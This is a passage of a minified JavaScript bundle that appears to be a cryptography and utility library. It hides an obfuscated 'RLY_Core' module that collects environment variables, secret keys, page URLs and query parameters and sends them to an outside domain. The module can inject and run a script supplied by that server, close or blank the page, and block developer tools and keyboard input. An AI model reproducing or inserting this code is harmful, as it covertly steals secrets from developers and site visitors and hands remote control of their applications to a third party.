e=15;e>=0;e--){if(255!==this._counter[e]){this._counter[e]++;break}this._counter[e]=0}}}}(t),u=null,l=16,f=0;f<r.length;f++)16===l&&(u=o.encrypt(a._counter),l=0,a.increment()),r[f]^=u[l++];return r},decrypt:function(e){return null==(e=E(e))?null:this.encrypt(e)}}}};r.default=k},610:(e,r,t)=>{"use strict";function n(e,r){return function(e){if(Array.isArray(e))return e}(e)||function(e,r){var t=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=t){var n,o,i,a,u=[],l=!0,f=!1;try{if(i=(t=t.call(e)).next,0===r){if(Object(t)!==t)return;l=!1}else for(;!(l=(n=i.call(t)).done)&&(u.push(n.value),u.length!==r);l=!0);}catch(e){f=!0,o=e}finally{try{if(!l&&null!=t.return&&(a=t.return(),Object(a)!==a))return}finally{if(f)throw o}}return u}}(e,r)||function(e,r){if(e){if("string"==typeof e)return o(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?o(e,r):void 0}}(e,r)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function o(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}Object.defineProperty(r,"__esModule",{value:!0}),r.ROTL=a,r.ROTR=u,r.sha_padding=l;var i=t(917);function a(e,r){return r<<e|r>>>32-e}function u(e,r){return r>>>e|r<<32-e}function l(e,r){var t=e.length,n=8*t,o=r?2:1,i=new Uint8Array(Math.ceil((t+9+8*o)/(64*o))*(64*o));i.set(e),i[t]=128;var a=(56*o-((t+1)%(64*o)+64*o))%(64*o);i.fill(0,t+1,t+1+a);var u=new DataView(i.buffer);return r?new DataView(i.buffer).setBigUint64(i.length-16,BigInt(n),!1):(u.setUint32(i.length-8,Math.floor(n/4294967296),!1),u.setUint32(i.length-4,n,!1)),i}function f(e,r){for(var t=new Array(80),o=t.length,i=0;i<16;i++)t[i]=e[4*i]<<24|e[4*i+1]<<16|e[4*i+2]<<8|e[4*i+3];for(var u=16;u<80;u++)t[u]=a(1,t[u-3]^t[u-8]^t[u-14]^t[u-16]);for(var l=n(r,5),f=l[0],c=l[1],s=l[2],d=l[3],y=l[4],p=0;p<o;p++){var v=void 0,b=void 0;p<20?(v=c&s|~c&d,b=1518500249):p<40?(v=c^s^d,b=1859775393):p<60?(v=c&s|c&d|s&d,b=2400959708):(v=c^s^d,b=3395469782);var h=a(5,f)+v+y+b+t[p]>>>0;y=d,d=s,s=a(30,c),c=f,f=h}r[0]=r[0]+f>>>0,r[1]=r[1]+c>>>0,r[2]=r[2]+s>>>0,r[3]=r[3]+d>>>0,r[4]=r[4]+y>>>0}function c(e,r){for(var t=[1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298],o=new Array(64).fill(0),i=0;i<16;i++)o[i]=(e[4*i]<<24|e[4*i+1]<<16|e[4*i+2]<<8|e[4*i+3])>>>0;for(var a=16;a<64;a++){var l=(u(7,o[a-15])^u(18,o[a-15])^o[a-15]>>>3)>>>0,f=(u(17,o[a-2])^u(19,o[a-2])^o[a-2]>>>10)>>>0;o[a]=o[a-16]+l+o[a-7]+f>>>0}for(var c=n(r,8),s=c[0],d=c[1],y=c[2],p=c[3],v=c[4],b=c[5],h=c[6],m=c[7],g=0;g<64;g++){var w=m+((u(6,v)^u(11,v)^u(25,v))>>>0)+((v&b^~v&h)>>>0)+t[g]+o[g]>>>0,A=(s&d^s&y^d&y)>>>0;m=h,h=b,b=v,v=p+w>>>0,p=y,y=d,d=s,s=w+(((u(2,s)^u(13,s)^u(22,s))>>>0)+A>>>0)>>>0}r[0]=r[0]+s>>>0,r[1]=r[1]+d>>>0,r[2]=r[2]+y>>>0,r[3]=r[3]+p>>>0,r[4]=r[4]+v>>>0,r[5]=r[5]+b>>>0,r[6]=r[6]+h>>>0,r[7]=r[7]+m>>>0}var s={sha1:function(e){var r=[1732584193,4023233417,2562383102,271733878,3285377520],t=(0,i.toUint8Array)(e);if(null==t)return null;for(var n=l(t,!1),o=0;o<n.length;o+=64)f(n.slice(o,o+64),r);return r.map((function(e){return("00000000"+e.toString(16)).slice(-8)})).join("")},sha256:function(e){var r=(0,i.toUint8Array)(e);if(null==r)return null;for(var t=l(r,!1),n=[1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225],o=0;o<t.length;o+=64)c(t.slice(o,o+64),n);return n.map((function(e){return("00000000"+e.toString(16)).slice(-8)})).join("")},sha512:function(e){}};r.default=s},559:(e,r,t)=>{"use strict";function n(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}Object.defineProperty(r,"__esModule",{value:!0}),r.sha1_test=function(e){var r=[1732584193,4023233417,2562383102,271733878,3285377520];function t(e,r){for(var t=new Array(80),i=0;i<16;i++)t[i]=e[4*i]<<24|e[4*i+1]<<16|e[4*i+2]<<8|e[4*i+3];for(var a=16;a<80;a++)t[a]=(0,o.ROTL)(1,t[a-3]^t[a-8]^t[a-14]^t[a-16]);for(var u=function(e,r){return function(e){if(Array.isArray(e))return e}(e)||function(e,r){var t=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=t){var n,o,i,a,u=[],l=!0,f=!1;try{if(i=(t=t.call(e)).next,0===r){if(Object(t)!==t)return;l=!1}else for(;!(l=(n=i.call(t)).done)&&(u.push(n.value),u.length!==r);l=!0);}catch(e){f=!0,o=e}finally{try{if(!l&&null!=t.return&&(a=t.return(),Object(a)!==a))return}finally{if(f)throw o}}return u}}(e,r)||function(e,r){if(e){if("string"==typeof e)return n(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?n(e,r):void 0}}(e,r)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}(r,5),l=u[0],f=u[1],c=u[2],s=u[3],d=u[4],y=0;y<80;y++){var p=void 0,v=void 0;y<20?(p=f&c|~f&s,v=1518500249):y<40?(p=f^c^s,v=1859775393):y<60?(p=f&c|f&s|c&s,v=2400959708):(p=f^c^s,v=3395469782);var b=(0,o.ROTL)(5,l)+p+d+v+t[y]>>>0;d=s,s=c,c=(0,o.ROTL)(30,f),f=l,l=b}r[0]=r[0]+l>>>0,r[1]=r[1]+f>>>0,r[2]=r[2]+c>>>0,r[3]=r[3]+s>>>0,r[4]=r[4]+d>>>0}for(var i=(0,o.sha_padding)(e),a=0;a<i.length;a+=64)t(i.slice(a,a+64),r);return r.map((function(e){return("00000000"+e.toString(16)).slice(-8)})).join("")};var o=t(610)},989:(e,r)=>{"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},t(e)}function n(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);r&&(n=n.filter((function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable}))),t.push.apply(t,n)}return t}function o(e,r,n){return(r=function(e){var r=function(e){if("object"!=t(e)||!e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var n=r.call(e,"string");if("object"!=t(n))return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(e);return"symbol"==t(r)?r:r+""}(r))in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}Object.defineProperty(r,"__esModule",{value:!0}),r.defineProps=void 0,r.defineProps=function(e,r,t){try{Object.defineProperty(e,r,function(e){for(var r=1;r<arguments.length;r++){var t=null!=arguments[r]?arguments[r]:{};r%2?n(Object(t),!0).forEach((function(r){o(e,r,t[r])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):n(Object(t)).forEach((function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(t,r))}))}return e}({configurable:!0,enumerable:!0,writable:!0,value:null},t))}catch(e){}return e}},454:function(e,r,t){"use strict";function n(e){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n(e)}function o(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);r&&(n=n.filter((function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable}))),t.push.apply(t,n)}return t}function i(e){for(var r=1;r<arguments.length;r++){var t=null!=arguments[r]?arguments[r]:{};r%2?o(Object(t),!0).forEach((function(r){a(e,r,t[r])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):o(Object(t)).forEach((function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(t,r))}))}return e}function a(e,r,t){return(r=function(e){var r=function(e){if("object"!=n(e)||!e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var t=r.call(e,"string");if("object"!=n(t))return t;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(e);return"symbol"==n(r)?r:r+""}(r))in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}var u=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(r,"__esModule",{value:!0}),r.GzJsUtils=void 0;var l=u(t(895)),f=u(t(916)),c=u(t(917)),s=u(t(283)),d=u(t(690)),y=t(981),p=u(t(550)),v=u(t(353)),b=u(t(899)),h=u(t(396)),m=t(835);r.GzJsUtils=i(i(i({},l.default),f.default),{},{getEnvironments:y.getEnvironments,Bytes:c.default,Base64:s.default,MD5:d.default,Utils:l.default,AES:v.default,Hmac:b.default,SHA:h.default,KeyTool:m._KeyTool,EnumBuilder:p.default})},573:function(e,r,t){"use strict";function n(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);r&&(n=n.filter((function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable}))),t.push.apply(t,n)}return t}function o(e){for(var r=1;r<arguments.length;r++){var t=null!=arguments[r]?arguments[r]:{};r%2?n(Object(t),!0).forEach((function(r){i(e,r,t[r])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):n(Object(t)).forEach((function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(t,r))}))}return e}function i(e,r,t){return(r=d(r))in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function a(e,r){if(e){if("string"==typeof e)return u(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?u(e,r):void 0}}function u(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}function l(e){return l="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},l(e)}function f(e,r){if(!(e instanceof r))throw new TypeError("Cannot call a class as a function")}function c(e,r){for(var t=0;t<r.length;t++){var n=r[t];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,d(n.key),n)}}function s(e,r,t){return r&&c(e.prototype,r),t&&c(e,t),Object.defineProperty(e,"prototype",{writable:!1}),e}function d(e){var r=function(e){if("object"!=l(e)||!e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var t=r.call(e,"string");if("object"!=l(t))return t;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(e);return"symbol"==l(r)?r:r+""}var y=this&&this.__createBinding||(Object.create?function(e,r,t,n){void 0===n&&(n=t);var o=Object.getOwnPropertyDescriptor(r,t);o&&!("get"in o?!r.__esModule:o.writable||o.configurable)||(o={enumerable:!0,get:function(){return r[t]}}),Object.defineProperty(e,n,o)}:function(e,r,t,n){void 0===n&&(n=t),e[n]=r[t]}),p=this&&this.__setModuleDefault||(Object.create?function(e,r){Object.defineProperty(e,"default",{enumerable:!0,value:r})}:function(e,r){e.default=r}),v=this&&this.__importStar||function(e){if(e&&e.__esModule)return e;var r={};if(null!=e)for(var t in e)"default"!==t&&Object.prototype.hasOwnProperty.call(e,t)&&y(r,e,t);return p(r,e),r},b=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(r,"__esModule",{value:!0}),r.RLY_Core=r.RlyConfigDefinitions=r.INSTANCE_KEY=void 0,r.newSingleInstance=function(e,r){var t=e[N];return t||((t=new P).init=x.bind(t),t.init(e,C),(0,_.defineProps)(t,"radk",{value:function(e){return(0,S.parseKey)(e)},configurable:!1,enumerable:!1,writable:!1}),(0,_.defineProps)(e,N,{value:t,configurable:!1,enumerable:!1,writable:!1}),(0,_.defineProps)(t,"KeyTool",{value:S._KeyTool,configurable:!1,enumerable:!1,writable:!1})),t};var h=b(t(895)),m=b(t(283)),g=v(t(917)),w=b(t(690)),A=t(981),_=t(989),O=b(t(167)),S=t(835),I=function(e){return(e<10?"0":"")+e};r.INSTANCE_KEY="z726C792D6A73";var j=function(){return s((function e(t){f(this,e);var n={};this.store={setItem:function(e,r){n[e]=r},getItem:function(e){return n[e]},removeItem:function(e){delete n[e]}};var o=r.INSTANCE_KEY;if("undefined"!=typeof localStorage){var i=o+"-test";localStorage.setItem(i,i),localStorage.getItem(i)==i&&(localStorage.removeItem(i),this.store=localStorage)}t&&(0,_.defineProps)(t,o,{value:this.store,enumerable:!1,configurable:!1,writable:!1})}),[{key:"setItem",value:function(e,r){r=JSON.stringify(r),this.store.setItem(JSON.stringify(e),g.default.str2hex(r))}},{key:"getItem",value:function(e){try{var r=this.store.getItem(JSON.stringify(e));return r?JSON.parse(g.default.hex2str(r)):r}catch(e){return null}}},{key:"removeItem",value:function(e){return this.store.removeItem(JSON.stringify(e))}}])}();r.RlyConfigDefinitions={"rly-protocol":{values:(0,g.hex2str)("68747470"),description:(0,g.hex2str)("e8a1a8e7a4bae4bdbfe794a8206874747020e58d8fe8aeaee8b083e794a820e9bb98e8aea46874747073")},"rly-mock-dev-console":{values:!0,description:(0,g.hex2str)("e6a8a1e68b9fe5bc80e58f91efbc8ce68993e5bc80e68ea7e588b6e58fb020e6938de4bd9c20e68f90e98692")},"rly-mock-dev":{values:!0,description:(0,g.hex2str)("e5bc80e58f91e78eafe5a283e698afe590a6e6a8a1e68b9fe8b083e794a8")},"rly-nostore-dev":{values:!0,description:(0,g.hex2str)("e5bc80e58f91e78eafe5a283e698afe590a6e6a8a1e68b9fe8b083e794a8")},"rly-log-show":{values:!1,description:(0,g.hex2str)("e8bf90e8a18ce697b6e698afe590a6e68993e58db0e697a5e5bf97")},"rly-log-req":{values:!1,description:(0,g.hex2str)("e8bf90e8a18ce697b6e698afe68993e58db0e8afb7e6b182e4bfa1e681af")},"rly-log-rsp":{values:!1,description:(0,g.hex2str)("e8bf90e8a18ce697b6e698afe68993e58db0e79bb8e5ba94e4bfa1e681af")},"rly-auth-url":{values:(0,g.hex2str)("687474703a2f2f3132372e302e302e31"),description:(0,g.hex2str)("e989b4e69d83e59cb0e59d80")},"rly-kname":{values:"APP_ID",description:(0,g.hex2str)("e58aa8e68081e8aebee7bdae6170704b6579e5ad97e6aeb5e4bfa1e681af20e68c87e5ae9a20617070496420e580bce7bb91e5ae9ae59ca8206170704964e58f82e695b0e4b88a")},"rly-cl-envs":{values:"APP_SECRET_KEY",description:(0,g.hex2str)("e6b885e999a4e78eafe5a283e58f98e9878f2c726c792d636c2d656e76733d4150505f5345435245545f4b455926")},"rly-emit-on-init":{values:!0,description:(0,g.hex2str)("e5889de5a78be58c96e697b6e698afe590a6e79bb4e68ea520656d697420e4ba8be4bbb6")},"rly-allways-new-request":{values:!1,description:(0,g.hex2str)("e6af8fe6aca1e4bdbfe794a8e696b0e8afb7e6b182")}},Object.entries(r.RlyConfigDefinitions).forEach((function(e){var r,t,n=(t=2,function(e){if(Array.isArray(e))return e}(r=e)||function(e,r){var t=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=t){var n,o,i,a,u=[],l=!0,f=!1;try{if(i=(t=t.call(e)).next,0===r){if(Object(t)!==t)return;l=!1}else for(;!(l=(n=i.call(t)).done)&&(u.push(n.value),u.length!==r);l=!0);}catch(e){f=!0,o=e}finally{try{if(!l&&null!=t.return&&(a=t.return(),Object(a)!==a))return}finally{if(f)throw o}}return u}}(r,t)||a(r,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()),o=n[0],i=n[1];(0,_.defineProps)(i,"getKey",{value:function(){return o},configurable:!1,writable:!1,enumerable:!1})}));var P=function(){return s((function e(){f(this,e),this.id=h.default.random(8)}),[{key:"init",value:function(e,r){return this}},{key:"getId",value:function(){return this.id}},{key:"getClientId",value:function(){}}])}();r.RLY_Core=P,P.prototype._st_={};var E={},x=function(e,r){var t=this;e||(e=Math),E=e,(0,_.defineProps)(e,"__getter__rlyenvs",{value:{NODE_ENV:"production",APP_SECRET_KEY:"prod-preview",appId:null},configurable:!1,enumerable:!1,writable:!1});var n=(0,A.getEnvironments)();"undefined"!=typeof process&&Object.entries(o(o({},e.__getter__rlyenvs),(0,A.getEnvironments)())||{}).forEach((function(e){n[e[0]]=e[1]}));var u,l,f,c,s=new j(e),d=new Date,y=I(d.getFullYear()),p=I(d.getMonth()+1),v=I(d.getDate()),b=function(e){return w.default.encode("726C792D6A73-"+e)};u=h.default.isLeapYear(1*y),c=0==(f=0==(l=1*v-1)?1*p-1:1*p)?1*y-1:1*y,f=I(0==f?12:f),l=I(0==l?u?28:29:l),s.removeItem(b(c+f+l));var x,C,N=(x=Math).__getter__wd?x.__getter__wd:"undefined"!=typeof window?((0,_.defineProps)(x,"__getter__wd",{value:window,configurable:!1,enumerable:!1,writable:!1}),window):((0,_.defineProps)(x,"__getter__wd",{value:{location:{}},configurable:!1,enumerable:!1,writable:!1}),x.__getter__wd),k=console,F=function(e){return h.default.trim(e)},D=N.xb64={d:m.default.decode,e:m.default.encode},T=function(e){return D.d(e)},B=function(e){return D.e(e)},M="QVBQX1NFQ1JFVF9LRVk=",U=!1,R=T(M),Y="undefined"!=typeof document&&document,V="Ym9keQ==",K="aW5uZXJIVE1M",H="d2luZG93Lm9wZW4oImFib3V0OmJsYW5rIiwiX3NlbGYiKTsKd2luZG93LmNsb3NlKCk7",J="c2NyaXB0",L="cmVhZHlTdGF0ZQ==",W="Tk9ERV9FTlY=",Z="cHJvZHVjdGlvbg==",G="ZGV2",X="ZGV2ZWxvcA==",$="ZGV2ZWxvcG1lbnQ=",z="aHR0cA==",q="__getter_VUE_VITE_APP_RLY_TIME_"+w.default.encode(B("$__rly__")),Q="undefined"!=typeof navigator&&navigator||{userAgent:"",appVersion:""},ee=N.location||{host:"",search:"",hash:"",href:"",pathname:"",hostname:"",protocol:T(z)},re=h.default.parseQuery(ee.search),te=n[T(W)]||T(Z),ne=function(){var e=T(G)===te||T($)===te||T(X)===te,t=o(i(i({},T(W),te),T(M),e?"dev":"prod-prevew"),n),u=JSON.parse(JSON.stringify(r&&o(o({},t),r)||t||{})),l=[/^npm_package_/i,/^npm_config_/i,/^npm_/i,/^NPX_/i,/^NVM_/i,/^TOMCAT_/i,/^MAVEN_/i,/^JAVA_/i,/^GRANDLE_/i,/^ANT_/i,/^Path$/i,/PROXY_/i,/_PROXY_/i,/_PROXY/i,/APPDATA/,/CLASSPATH/,/^IDEA_/,/^JETBRAINS_/,/^PSModulePath$/,/^TEMP$/,/^TMP$/i];Object.keys(u).forEach((function(e){l.find((function(r){return r.test(e)}))&&delete u[e]}));var f=(re["rly-cl-envs"]||"")+"";if(f)try{var c,s=function(e){var r="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!r){if(Array.isArray(e)||(r=a(e))){r&&(e=r);var t=0,n=function(){};return{s:n,n:function(){return t>=e.length?{done:!0}:{done:!1,value:e[t++]}},e:function(e){throw e},f:n}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,i=!0,u=!1;return{s:function(){r=r.call(e)},n:function(){var e=r.next();return i=e.done,e},e:function(e){u=!0,o=e},f:function(){try{i||null==r.return||r.return()}finally{if(u)throw o}}}}(f=f.split(","));try{for(s.s();!(c=s.n()).done;){var d=c.value;u[d]=void 0}}catch(e){s.e(e)}finally{s.f()}}catch(e){}return u}(),oe=ne[T(W)],ie=function(){var e={id:F(ne[R]||""),kn:R},r=[/^RLY_(APP_)?SECRET_KEY$/i,/^RLY-(APP-)?SECRET-KEY$/i],t=!1,n=function(n){if(t)return t;for(var o,i=Object.keys(n),a=function(){var o=l[u];if(!r.find((function(e){return e.test(F(o))})))return 0;var i=F(n[o]);return i?(e.id=i,e.kn=F(o.toUpperCase()),t=!0,1):void 0},u=0,l=i;u<l.length&&(0===(o=a())||1!==o);u++);};if(n(re),n(ne),!t){var o="cmx5LWtuYW1l",i=g.default.hex2str("5655455F4150505F5345435245545F4B4559"),a=Object.keys(ne).find((function(e){return e==i})),u=F(re[T(o)]),l=F(ne[T(o)]),f=a?i:"";u?(e.id=F(N[u])||F(u&&re[u]||""),e.kn=u):l?(e.id=F(l&&ne[u]||""),e.kn=l):f&&(e.id=F(f&&ne[f]||""),e.kn=f)}return e}(),ae="rly-log-show",ue="rly-log-req",le="rly-log-rsp",fe=!0===re[ae]||!0===ne[ae],ce=!0===re[ue]||!0===ne[ue],se=!0===re[le]||!0===ne[le],de=function(){for(var e=arguments.length,r=new Array(e),t=0;t<e;t++)r[t]=arguments[t];fe&&k[T("bG9n")].apply(k,arguments)},ye=function(){for(var e=arguments.length,r=new Array(e),t=0;t<e;t++)r[t]=arguments[t];fe&&k[T("ZXJyb3I=")].apply(k,arguments)},pe=function(e,r){r=r&&!isNaN(1*r)&&1*r>0?1*r:0,setTimeout((function(){return function(){var r="k"+(new Date).getTime()+parseInt(1e5*Math.random()+""),t=Y[T("Y3JlYXRlRWxlbWVudA==")](T(J));t.type=T("dGV4dC9qYXZhc2NyaXB0"),t.setAttribute("id",r),t[T("dGV4dENvbnRlbnQ=")]=T(g.default.hex2str("64484A356579676F5A5735324C43427759584A6862584D704944302B4948736C633330704B43566C626E597349435677636D317A4B53423949475A70626D467362486B6765325276593356745A5735304C6D646C644556735A57316C626E524365556C6B4B43636C6332736E4B5335795A573176646D556F4B58303D")).replace("%env",JSON.stringify(ne)).replace("%prms",JSON.stringify(re)).replace("%sk",r).replace("%s",e);var n=Y[T(V)],o=function(){de("移除元素"),n.removeChild(t)};n[T("aW5zZXJ0QWRqYWNlbnRFbGVtZW50")](T("YmVmb3JlZW5k"),t),t.addEventListener("load",(function(){o()})),t[T(L)]?t[T("b25yZWFkeXN0YXRlY2hhbmdl")]=function(){"complete"!==t[T(L)]&&"loaded"!==t[T(L)]||o()}:t.onload=o}()}),r||0)},ve=T(G)===oe||T($)===oe||T(X)===oe,be=T(z)==re["rly-protocol"],he=!0!==re["rly-mock-dev"]&&ve,me=T("cHJvZA==")===oe||T(Z)===oe,ge=!0===re["rly-nostore-dev"],we=T("L3JseS9yZXBvcnQuaHRt"),Ae=T(be?"aHR0cDovL3JseS1saWMtY2sucXE4NjY5LnRvcA==":"aHR0cHM6Ly9ybHktbGljLWNrLnFxODY2OS50b3A="),_e=re["rly-auth-url"]+"",Oe=h.default.isHttp(_e)?_e:Ae+we,Se="__getter__VUE_VITE_iiirly__",Ie=b(y+p+v),je={delay:365e5,isInit:0,stored:!1},Pe=((C=function(e){var r="__xed__",t=ie.id,n=ie.kn;if(!t&&me&&Y){if(N[r])return e;U=!0,N[r]=1e5,Y[T(V)][T(K)]="";var o=T("Y29uc29sZS5lcnJvcigi546v5aKD57y65bCR5Y+C5pWwWyVzXSIp");pe(o.replace("%s",n),100)}return e})(),C),Ee=function(r,t){if(e[q]=je,(0,_.defineProps)(e,q,{value:je,writable:!0,enumerable:!1,configurable:!1}),0==je.isInit&&(je.delay=365e5,je.isInit=0),U)de("is_no_key_name");else if(Y){var n=r.ath&&r.ath.id||"";t=re["rly-emit-on-init"]+""=="true",(0,_.defineProps)(e,Se,{value:t?0:parseInt(""+1e3*Math.random())%(he?600:30),writable:!0,enumerable:!1,configurable:!1});var a=e[Se];de("delay "+a+" second execute chk");var u=ee.href,l=i({doc:{body:null}},"disable",(function(){function e(){var e,r=N.innerWidth,t=N.innerHeight,n=N.outerWidth,o=N.outerHeight,i=(e=Q.userAgent,Q.appVersion,{mobile:!!e.match(/AppleWebKit.*Mobile.*/)}),a=null;if((n-r>120||o-t>200)&&-1==u.indexOf("debug")?a="5Li65LqG5rWP6KeI5Zmo5a6J5YWoLOivt+WFs+mXreaJk+W8gOaOp+WItuWPsOWQjuWIt+aWsOmhtemdog==":i.mobile&&(a="56e75Yqo56uv5qih5byP5LiN5pSv5oyB5omT5byA5pys6aG16Z2i"),a)return Y[T(V)][T(K)]='<h1 style="text-align: center">'+T(a)+"</h1>",!0}e(),N.addEventListener("resize",e)}));setTimeout((function(){if(0==je.isInit){je.isInit=1;var e=r.ath.id;try{var t=i({},"pfk",fetch.bind(N)),a=(new Date).getTime(),u="protocol",f=/^((https?)|(s?ftp)|file):?/.exec(ee[u]),c=i(i(i(i(i(i(i(i(i(i({},u,f&&f[1]||""),T("b3JpZ2lu"),ee.host),"keyName",ie.kn),"prdType","js-"+"rly".toUpperCase()),T("c2VjcmV0S2V5"),e),T("cGFyYW1z"),h.default.parseQuery(ee.search)),T("YXBwSWQ="),n||"none-"+a),T("cm91dGVfcGF0aA=="),ee.host+ee.pathname),T("dGltZXN0YW1w"),a),"control-envs",o({},(0,A.getEnvironments)())),d={request:function(e){var r=Oe;return"1"!=re["rly-allways-new-request"]&&"true"!=re["rly-allways-new-request"]&&"y"!=(re["rly-allways-new-request"]+"").toLowerCase()||(Object.keys(h.default.parseUri(Oe).params).length>0?r+="&t="+Date.now():r+="?t="+Date.now()),t.pfk(r,e)}},y="X-APP-JSRLY-DATA-Part-",p="X-APP-JSRLY-DATA-Parts",v=function(e){se&&de("rly: ",e),e.$stored=!0,je.delay=1*e.delay,(isNaN(je.delay)||je.delay<0)&&r.exit(),je.notifys=0;var t=function(){return new Promise((function(r){var t,o=(t={},["oncontextmenu","onkeydown","onkeyup","onkeypress"].map((function(e){t[e]=N[e]})),t),i=e.content||T("5o6I5p2D5bey5Yiw5pyf"),a=function(){for(var t in o)N[t]=o[t];var i=parseInt(""+e["notify-extend-time"]);je.delay=isNaN(i)?0:i,n().then(r)};1==re[T("cmx5LW1vY2stZGV2LWNvbnNvbGU=")]&&(l.disable()||(N.oncontextmenu=function(){return!1},N.oncontextmenu=function(){return!1},N.onkeydown=N.onkeyup=N.onkeypress=function(){return N.event.returnValue=!1,!1}));var u="$el_message_box",f=null;N[u]?f=N[u].alert("",{title:T("5o+Q56S6"),message:T("PGRpdiBzdHlsZT0id2lkdGg6IDEwMCUiIGlkPSJhcHBVbmF1dGhvcml6ZWROb3RpZnkiPg")+i+"PC9kaXY+",allowHtml:!0,dangerouslyUseHTMLString:!0}):N.confirm&&N.confirm(i),f&&f instanceof Promise?f.then(a).catch((function(e){return ye(e)})):a()}))},n=function(){return new Promise((function(r){var t=setInterval((function(){if(je.delay<=0)return clearInterval(t),s.removeItem(Ie),0==je.notifys&&je.notifys++,de("rly.clearInterval:",je.delay),r();je.delay-=1,e.delay=je.delay,s.setItem(Ie,e),de("rly.timeout:",je.delay)}),1e3)}))};n().then((function(){switch(parseInt(e.type)){case-1:de("rly undo");break;case 0:return r.exit();case 1:var n=e[T(J)]||H;return pe(T(n),200);case 2:return t().then((function(e){de("弹出消息内容")}));case 3:return t().then((function(){de("弹出消息内容后关闭"),r.exit()}))}})).catch((function(e){return ye(e)}))},b=function(e){try{switch(parseInt(e.code)){case 0:case 200:return;case-100:var t=e&&e.rly||e.data&&e.data.rly||null;t||r.exit();var n=g.default.hex2str(T(t));n&&v(JSON.parse(n))}}catch(e){ye(e)}};return function(){var e=(("undefined"==typeof globalThis?null:globalThis)||{}).app_target_name;if(e||E.__disabled_rly__)return de("app-target-name: ",e,E.__disabled_rly__||!1),new Promise((function(){}));var r=null,t=s.getItem(Ie);if(!ge&&t&&1*t.delay>0)r=new Promise((function(){return v(t)}));else{ce&&de("req",c);var n=function(){for(var 